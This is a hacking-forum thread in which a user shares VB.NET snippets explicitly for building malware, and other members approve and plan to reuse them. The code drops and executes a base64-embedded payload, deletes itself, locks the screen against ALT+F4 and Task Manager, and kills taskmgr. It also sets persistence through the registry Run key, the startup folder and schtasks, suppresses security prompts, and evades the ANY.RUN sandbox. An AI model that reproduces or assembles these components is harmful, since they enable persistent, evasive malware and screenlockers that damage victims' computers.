# VB.net Code snippets for malware
Drop & execute file from Base64: First, convert your payload to base64 at https://tomeko.net/online_tools/file_to_base64.php Now the code snippet (requires Imports System.IO ): Code:Dim byt As Byte()

var unreadAlerts = '1';
Welcome back, purely_cabbage. You last visited: Today, 06:36 AM Log Out
You have one unread private message from dkota titled Welcome to the Forum!
New Reply

Threaded Mode VB.net Code snippets for malware

scarab
Newbie
Posts:
1
Threads:
1
Joined:
Feb 2023
Reputation:
3
Credits: 5€ [Donate]
#1
02-11-2023, 03:38 AM (This post was last modified: 02-11-2023, 03:39 AM by scarab.)
Drop & execute file from Base64:
First, convert your payload to base64 at https://tomeko.net/online_tools/file_to_base64.php
Now the code snippet (requires Imports System.IO ):
Code:
`Dim byt As Byte() = Convert.FromBase64String("")
IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & "example.exe", byt)
Diagnostics.Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & "example.exe")
`
Make sure to replace the blank area with your converted string.
Self Deletion:
Code:
`Dim piDestruct As ProcessStartInfo = New ProcessStartInfo()
piDestruct.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " _
& Application.ExecutablePath
piDestruct.WindowStyle = ProcessWindowStyle.Hidden
piDestruct.CreateNoWindow = True
piDestruct.FileName = "cmd.exe"
Process.Start(piDestruct)
Application.Exit()`
Does what it says, exits then deletes itself.
Prevent ALT+F4 on form:
Code:
`Protected Overrides ReadOnly Property CreateParams() As CreateParams
Get
Dim cp As CreateParams = MyBase.CreateParams
Const CS_NOCLOSE As Integer = &H200
cp.ClassStyle = cp.ClassStyle Or CS_NOCLOSE
Return cp
End Get
End Property`
This will prevent anyone from using ALT+F4 to close your window. Useful for screenlockers.
Focus form:
Code:
`Me.Activate()
Me.Focus()`
Another snippet useful for screenlockers, put this in a timer with a interval, not too low as it completely refocuses the window.
Combined with the Prevent ALT + F4 snippet it will focus over even task manager and the taskbar.
Registry startup:
Code:
`My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)`
Sets your program in the registry to run automatically. (Shows in startup tab in task manager)
Copy self to startup:
Code:
`If IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\example.exe") Then
''Not doing anything here, but you can if you want.
Else
IO.File.Copy(Application.ExecutablePath(), Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\example.exe")
End If`
Copies your program to startup folder. (Shows in startup tab in task manager)
Prevent "Are you sure you want to run this software?"
Code:
`Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User)`
You should use this with any startup method to make it run without an alert.
Anti Taskmgr:
Code:
`Dim process As Process
For Each process In Process.GetProcessesByName("taskmgr")
Try
process.Kill()
Catch ex As Exception
End Try
Next`
You should put this in a timer with a low interval, you can also change the "taskmgr" to any .exe name like chrome.
It is also possible to make this end the application when it detects one is started.
For example, changing process.Kill() to Application.Exit() will make the program stop itself when taskmgr is opened.
(Good persistence with scheduled tasks if the victim is to open taskmgr often and is paranoid.)
Detect ANY.RUN sandbox:
Code:
`If Environment.UserName = "admin" And System.Windows.Forms.SystemInformation.ComputerName = "USER-PC" Then
''ANY.RUN was detected.
Me.Close()
Else
''ANY.RUN was not detected here.
End If`
Detects ANY.RUN sandbox, if detected it will close. Can cause false-positives with completely default setup installations.
Scheduled tasks:
Code:
`Interaction.Shell(("schtasks /delete /tn Example /f"), AppWinStyle.Hide, True, &H1388)
Interaction.Shell(("schtasks /create /sc minute /mo 1 /tn Example /tr " & AppDomain.CurrentDomain.BaseDirectory & IO.Path.GetFileName(Application.ExecutablePath)), AppWinStyle.Hide, True, &H1388)`
This will schedule your program to start every minute at any startup. You can also change "Example" to any name you want.
If you prefer C# instead of VB.net you can try to convert code here: https://converter.telerik.com/
Run into errors? I can try to fix it for you.
These are basic snippets i've taken/made over the years when experimenting with coding malware. Enjoy.
PM Rate
Report
prince97
Administrator
Posts:
145
Threads:
36
Joined:
Feb 2023
Reputation:
49
Credits: 25.6€ [Donate]
View All
#2
02-11-2023, 11:30 AM

> scarab Wrote: Drop & execute file from Base64:
> First, convert your payload to base64 at https://tomeko.net/online_tools/file_to_base64.php
> Now the code snippet (requires Imports System.IO ):
> Code:
> `Dim byt As Byte() = Convert.FromBase64String("")
> IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & "example.exe", byt)
> Diagnostics.Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & "example.exe")
> `
> Make sure to replace the blank area with your converted string.
> Self Deletion:
> Code:
> `Dim piDestruct As ProcessStartInfo = New ProcessStartInfo()
> piDestruct.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " _
> & Application.ExecutablePath
> piDestruct.WindowStyle = ProcessWindowStyle.Hidden
> piDestruct.CreateNoWindow = True
> piDestruct.FileName = "cmd.exe"
> Process.Start(piDestruct)
> Application.Exit()`
> Does what it says, exits then deletes itself.
> Prevent ALT+F4 on form:
> Code:
> `Protected Overrides ReadOnly Property CreateParams() As CreateParams
> Get
> Dim cp As CreateParams = MyBase.CreateParams
> Const CS_NOCLOSE As Integer = &H200
> cp.ClassStyle = cp.ClassStyle Or CS_NOCLOSE
> Return cp
> End Get
> End Property`
> This will prevent anyone from using ALT+F4 to close your window. Useful for screenlockers.
> Focus form:
> Code:
> `Me.Activate()
> Me.Focus()`
> Another snippet useful for screenlockers, put this in a timer with a interval, not too low as it completely refocuses the window.
> Combined with the Prevent ALT + F4 snippet it will focus over even task manager and the taskbar.
> Registry startup:
> Code:
> `My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)`
> Sets your program in the registry to run automatically. (Shows in startup tab in task manager)
> Copy self to startup:
> Code:
> `If IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\example.exe") Then
> ''Not doing anything here, but you can if you want.
> Else
> IO.File.Copy(Application.ExecutablePath(), Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\example.exe")
> End If`
> Copies your program to startup folder. (Shows in startup tab in task manager)
> Prevent "Are you sure you want to run this software?"
> Code:
> `Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User)`
> You should use this with any startup method to make it run without an alert.
> Anti Taskmgr:
> Code:
> `Dim process As Process
> For Each process In Process.GetProcessesByName("taskmgr")
> Try
> process.Kill()
> Catch ex As Exception
> End Try
> Next`
> You should put this in a timer with a low interval, you can also change the "taskmgr" to any .exe name like chrome.
> It is also possible to make this end the application when it detects one is started.
> For example, changing process.Kill() to Application.Exit() will make the program stop itself when taskmgr is opened.
> (Good persistence with scheduled tasks if the victim is to open taskmgr often and is paranoid.)
> Detect ANY.RUN sandbox:
> Code:
> `If Environment.UserName = "admin" And System.Windows.Forms.SystemInformation.ComputerName = "USER-PC" Then
> ''ANY.RUN was detected.
> Me.Close()
> Else
> ''ANY.RUN was not detected here.
> End If`
> Detects ANY.RUN sandbox, if detected it will close. Can cause false-positives with completely default setup installations.
> Scheduled tasks:
> Code:
> `Interaction.Shell(("schtasks /delete /tn Example /f"), AppWinStyle.Hide, True, &H1388)
> Interaction.Shell(("schtasks /create /sc minute /mo 1 /tn Example /tr " & AppDomain.CurrentDomain.BaseDirectory & IO.Path.GetFileName(Application.ExecutablePath)), AppWinStyle.Hide, True, &H1388)`
> This will schedule your program to start every minute at any startup. You can also change "Example" to any name you want.
> If you prefer C# instead of VB.net you can try to convert code here: https://converter.telerik.com/
> Run into errors? I can try to fix it for you.
> These are basic snippets i've taken/made over the years when experimenting with coding malware. Enjoy.

Good snippets! The only thing I can think to improve it would be to call schtasks.exe directly instead of spawning a shell to call it.
If you have any questions, please PM dkota
PM Rate
Reply Quote //
DExter
Junior Member
Posts:
15
Threads:
0
Joined:
May 2023
Reputation:
0
Credits: 5€ [Donate]
#3
05-01-2023, 08:31 AM
thanks i will add some of your code in next malware also try to improve and share here
PM Rate
Reply Quote // Report
napster2027
Newbie
Posts:
3
Threads:
1
Joined:
May 2023
Reputation:
0
Credits: 5€ [Donate]
#4
05-14-2023, 12:38 PM

> scarab Wrote: Drop & execute file from Base64:
> First, convert your payload to base64 at https://tomeko.net/online_tools/file_to_base64.php
> Now the code snippet (requires Imports System.IO ):
> Code:
> `Dim byt As Byte() = Convert.FromBase64String("")
> IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & "example.exe", byt)
> Diagnostics.Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & "example.exe")
> `
> Make sure to replace the blank area with your converted string.
> Self Deletion:
> Code:
> `Dim piDestruct As ProcessStartInfo = New ProcessStartInfo()
> piDestruct.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " _
> & Application.ExecutablePath
> piDestruct.WindowStyle = ProcessWindowStyle.Hidden
> piDestruct.CreateNoWindow = True
> piDestruct.FileName = "cmd.exe"
> Process.Start(piDestruct)
> Application.Exit()`
> Does what it says, exits then deletes itself.
> Prevent ALT+F4 on form:
> Code:
> `Protected Overrides ReadOnly Property CreateParams() As CreateParams
> Get
> Dim cp As CreateParams = MyBase.CreateParams
> Const CS_NOCLOSE As Integer = &H200
> cp.ClassStyle = cp.ClassStyle Or CS_NOCLOSE
> Return cp
> End Get
> End Property`
> This will prevent anyone from using ALT+F4 to close your window. Useful for screenlockers.
> Focus form:
> Code:
> `Me.Activate()
> Me.Focus()`
> Another snippet useful for screenlockers, put this in a timer with a interval, not too low as it completely refocuses the window.
> Combined with the Prevent ALT + F4 snippet it will focus over even task manager and the taskbar.
> Registry startup:
> Code:
> `My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)`
> Sets your program in the registry to run automatically. (Shows in startup tab in task manager)
> Copy self to startup:
> Code:
> `If IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\example.exe") Then
> ''Not doing anything here, but you can if you want.
> Else
> IO.File.Copy(Application.ExecutablePath(), Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\example.exe")
> End If`
> Copies your program to startup folder. (Shows in startup tab in task manager)
> Prevent "Are you sure you want to run this software?"
> Code:
> `Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User)`
> You should use this with any startup method to make it run without an alert.
> Anti Taskmgr:
> Code:
> `Dim process As Process
> For Each process In Process.GetProcessesByName("taskmgr")
> Try
> process.Kill()
> Catch ex As Exception
> End Try
> Next`
> You should put this in a timer with a low interval, you can also change the "taskmgr" to any .exe name like chrome.
> It is also possible to make this end the application when it detects one is started.
> For example, changing process.Kill() to Application.Exit() will make the program stop itself when taskmgr is opened.
> (Good persistence with scheduled tasks if the victim is to open taskmgr often and is paranoid.)
> Detect ANY.RUN sandbox:
> Code:
> `If Environment.UserName = "admin" And System.Windows.Forms.SystemInformation.ComputerName = "USER-PC" Then
> ''ANY.RUN was detected.
> Me.Close()
> Else
> ''ANY.RUN was not detected here.
> End If`
> Detects ANY.RUN sandbox, if detected it will close. Can cause false-positives with completely default setup installations.
> Scheduled tasks:
> Code:
> `Interaction.Shell(("schtasks /delete /tn Example /f"), AppWinStyle.Hide, True, &H1388)
> Interaction.Shell(("schtasks /create /sc minute /mo 1 /tn Example /tr " & AppDomain.CurrentDomain.BaseDirectory & IO.Path.GetFileName(Application.ExecutablePath)), AppWinStyle.Hide, True, &H1388)`
> This will schedule your program to start every minute at any startup. You can also change "Example" to any name you want.
> If you prefer C# instead of VB.net you can try to convert code here: https://converter.telerik.com/
> Run into errors? I can try to fix it for you.
> These are basic snippets i've taken/made over the years when experimenting with coding malware. Enjoy.

Dope!!! Added to Notes Thanks
PM Rate
Reply Quote // Report

« Next Oldest | Next Newest »

New Reply

Quick Reply
Message Type your reply to this message here. Signature Disable Smilies | You have selected one or more posts to quote. Quote these posts now or deselect them.

Possibly Related Threads…
Thread | Author | Replies | Views | Last Post
| How to spread malware? | nullcat | 7 | 157 | 06-15-2023, 03:40 AM Last Post: cyberiagu
| [FREE CODE] [Python] [PoC] SAST Low Hanging Fruit | notnotahacker | 3 | 246 | 06-10-2023, 07:39 PM Last Post: nullcat
| Malware & Tool creation service | DerRoteMilan | 0 | 54 | 06-06-2023, 02:17 AM Last Post: DerRoteMilan
| whoami 'malware' | malware | 0 | 82 | 06-01-2023, 04:06 AM Last Post: malware
| [PoC] Doing malware self-destruction elegantly | KIARA | 2 | 147 | 05-31-2023, 09:54 AM Last Post: dkota

- Subscribe to this thread

Users browsing this thread: purely_cabbage
var thread_deleted = "0"; if(thread_deleted == "1") { $("#quick_reply_form, .new_reply_button, .thread_tools, .inline_rating").hide(); $("#moderator_options_selector option.option_mirage").attr("disabled","disabled"); }